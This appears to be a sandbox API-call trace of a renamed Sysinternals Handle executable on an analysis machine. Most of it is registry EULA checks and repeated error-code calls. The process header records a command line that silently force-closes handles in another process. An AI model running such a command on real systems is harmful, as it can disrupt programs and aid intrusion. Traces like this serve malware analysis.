!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0098.746] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x100) returned 0x2e12f0 [0098.747] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0098.747] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2e12f0) returned 0x100 [0098.747] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0098.747] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0098.747] GetCurrentProcess () returned 0xffffffffffffffff [0098.747] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0098.748] GetLastError () returned 0x0 [0098.748] SetLastError (dwErrCode=0x0) [0098.748] GetLastError () returned 0x0 [0098.748] SetLastError (dwErrCode=0x0) [0098.748] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0098.749] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0098.749] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0098.749] RegCloseKey (hKey=0x78) returned 0x0 [0098.749] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0098.749] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0098.749] RegCloseKey (hKey=0x78) returned 0x0 [0098.749] GetLastError () returned 0x0 [0098.749] SetLastError (dwErrCode=0x0) [0098.749] GetLastError () returned 0x0 [0098.750] SetLastError (dwErrCode=0x0) [0098.750] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x78) returned 0x0 [0098.750] RegSetValueExW (in: hKey=0x78, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0098.750] RegCloseKey (hKey=0x78) returned 0x0 [0098.750] GetLastError () returned 0x0 [0098.750] SetLastError (dwErrCode=0x0) [0098.750] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1000) returned 0x2e2430 [0098.750] GetLastError () returned 0x0 [0098.750] SetLastError (dwErrCode=0x0) [0098.750] GetLastError () returned 0x0 [0098.750] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.751] SetLastError (dwErrCode=0x0) [0098.751] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.752] SetLastError (dwErrCode=0x0) [0098.752] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.753] SetLastError (dwErrCode=0x0) [0098.753] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.754] GetLastError () returned 0x0 [0098.754] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.755] GetLastError () returned 0x0 [0098.755] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.756] GetLastError () returned 0x0 [0098.756] SetLastError (dwErrCode=0x0) [0098.757] GetLastError () returned 0x0 [0098.757] SetLastError (dwErrCode=0x0) [0098.757] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0098.757] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x65, lpOverlapped=0x0) returned 1 [0098.760] GetLastError () returned 0x0 [0098.760] SetLastError (dwErrCode=0x0) [0098.760] GetLastError () returned 0x0 [0098.760] SetLastError (dwErrCode=0x0) [0098.760] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.761] SetLastError (dwErrCode=0x0) [0098.761] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.762] SetLastError (dwErrCode=0x0) [0098.762] GetLastError () returned 0x0 [0098.763] SetLastError (dwErrCode=0x0) [0098.763] GetLastError () returned 0x0 [0098.763] SetLastError (dwErrCode=0x0) [0098.763] GetLastError () returned 0x0 [0098.763] SetLastError (dwErrCode=0x0) [0098.763] GetLastError () returned 0x0 [0098.763] SetLastError (dwErrCode=0x0) [0098.763] GetLastError () returned 0x0 [0098.763] SetLastError (dwErrCode=0x0) [0098.763] GetLastError () returned 0x0 [0098.763] SetLastError (dwErrCode=0x0) [0098.763] GetLastError () returned 0x0 [0098.763] SetLastError (dwErrCode=0x0) [0098.763] GetLastError () returned 0x0 [0098.763] SetLastError (dwErrCode=0x0) [0098.763] GetLastError () returned 0x0 [0098.763] SetLastError (dwErrCode=0x0) [0098.763] GetLastError () returned 0x0 [0098.763] SetLastError (dwErrCode=0x0) [0098.763] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0098.763] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x2c, lpOverlapped=0x0) returned 1 [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.765] GetLastError () returned 0x0 [0098.765] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.766] GetLastError () returned 0x0 [0098.766] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.767] GetLastError () returned 0x0 [0098.767] SetLastError (dwErrCode=0x0) [0098.768] GetLastError () returned 0x0 [0098.768] SetLastError (dwErrCode=0x0) [0098.768] GetLastError () returned 0x0 [0098.768] SetLastError (dwErrCode=0x0) [0098.768] GetLastError () returned 0x0 [0098.768] SetLastError (dwErrCode=0x0) [0098.768] GetLastError () returned 0x0 [0098.768] SetLastError (dwErrCode=0x0) [0098.768] GetLastError () returned 0x0 [0098.768] SetLastError (dwErrCode=0x0) [0098.768] GetLastError () returned 0x0 [0098.768] SetLastError (dwErrCode=0x0) [0098.768] GetLastError () returned 0x0 [0098.768] SetLastError (dwErrCode=0x0) [0098.768] GetLastError () returned 0x0 [0098.768] SetLastError (dwErrCode=0x0) [0098.768] GetLastError () returned 0x0 [0098.768] SetLastError (dwErrCode=0x0) [0098.768] GetLastError () returned 0x0 [0098.768] SetLastError (dwErrCode=0x0) [0098.768] GetLastError () returned 0x0 [0098.768] SetLastError (dwErrCode=0x0) [0098.768] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0098.768] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x3a, lpOverlapped=0x0) returned 1 [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.770] GetLastError () returned 0x0 [0098.770] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.771] GetLastError () returned 0x0 [0098.771] SetLastError (dwErrCode=0x0) [0098.772] GetLastError () returned 0x0 [0098.772] SetLastError (dwErrCode=0x0) [0098.772] GetLastError () returned 0x0 [0098.772] SetLastError (dwErrCode=0x0) [0098.772] GetLastError () returned 0x0 [0098.772] SetLastError (dwErrCode=0x0) [0098.772] GetLastError () returned 0x0 [0098.772] SetLastError (dwErrCode=0x0) [0098.772] GetLastError () returned 0x0 [0098.772] SetLastError (dwErrCode=0x0) [0098.772] GetLastError () returned 0x0 [0098.772] SetLastError (dwErrCode=0x0) [0098.786] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e00b0 | out: hHeap=0x2c0000) returned 1 [0098.786] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12fe58 | out: phModule=0x12fe58) returned 0 [0098.786] RtlExitUserProcess (ExitCode=0x1) [0098.787] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2df080 | out: hHeap=0x2c0000) returned 1 Process: id = "179" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x109e000" os_pid = "0xde0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "137" os_parent_pid = "0xc28" cmd_line = "bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 745 os_tid = 0xde4 [0099.007] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0099.007] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0099.007] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0099.007] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f 